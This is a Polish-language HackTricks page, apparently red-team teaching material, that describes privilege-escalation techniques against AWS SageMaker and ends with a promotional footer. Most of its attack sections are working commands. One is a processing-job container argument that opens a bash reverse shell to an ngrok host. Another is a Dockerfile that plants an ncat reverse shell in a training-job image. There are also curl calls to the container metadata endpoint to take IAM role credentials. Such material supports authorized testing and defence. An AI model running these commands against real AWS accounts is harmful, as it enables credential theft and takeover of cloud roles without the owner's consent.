AWS - Sagemaker Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Rozpocznij tworzenie notatnika z przypisaną do niego rolą IAM, aby uzyskać do niego dostęp:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Odpowiedź powinna zawierać pole NotebookInstanceArn, które będzie zawierać ARN nowo utworzonej instancji notatnika. Następnie możemy użyć interfejsu API create-presigned-notebook-instance-url, aby wygenerować URL, który możemy użyć do uzyskania dostępu do instancji notatnika, gdy będzie gotowa:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Przejdź do adresu URL za pomocą przeglądarki i kliknij na Otwórz JupyterLab w prawym górnym rogu, a następnie przewiń w dół do zakładki "Launcher" i w sekcji "Inne" kliknij przycisk "Terminal".

Teraz można uzyskać dostęp do poświadczeń metadanych roli IAM.

Potencjalne skutki: Podniesienie uprawnień do określonej roli usługi Sagemaker.

sagemaker:CreatePresignedNotebookInstanceUrl

Jeśli na nim już działają notatniki Jupyter, możesz je wylistować za pomocą sagemaker:ListNotebookInstances (lub odkryć je w inny sposób). Możesz wygenerować dla nich adres URL, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potencjalne skutki: Podniesienie uprawnień do roli usługi Sagemaker.

sagemaker:CreateProcessingJob,iam:PassRole

Atakujący posiadający te uprawnienia może spowodować, że sagemaker wykona zadanie przetwarzania z przypisaną do niego rolą sagemaker. Atakujący może określić definicję kontenera, który zostanie uruchomiony w instancji konta AWS zarządzanej przez ECS, i ukraść poświadczenia przypisane do roli IAM.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potencjalne skutki: Podniesienie uprawnień do określonej roli usługi Sagemaker.

sagemaker:CreateTrainingJob, iam:PassRole

Atakujący posiadający te uprawnienia będzie w stanie utworzyć zadanie szkoleniowe, uruchamiając na nim dowolny kontener z dołączoną do niego rolą. W związku z tym, atakujący będzie w stanie ukraść poświadczenia roli.

Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Docker, który wyśle rev shell lub poświadczenia bezpośrednio do atakującego (nie można wskazać polecenia startowego w konfiguracji zadania szkoleniowego).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Potencjalne skutki:** Podniesienie uprawnień do określonej roli usługi Sagemaker.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Atakujący posiadający te uprawnienia będzie (potencjalnie) mógł utworzyć **zadanie szkolenia hiperparametrów**, **uruchamiając dowolny kontener** na nim z dołączoną do niego **rolą**.\
_Nie wykorzystałem tego z powodu braku czasu, ale wygląda podobnie do poprzednich ataków, możesz śmiało przesłać PR z szczegółami eksploatacji._

# Odwołania
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated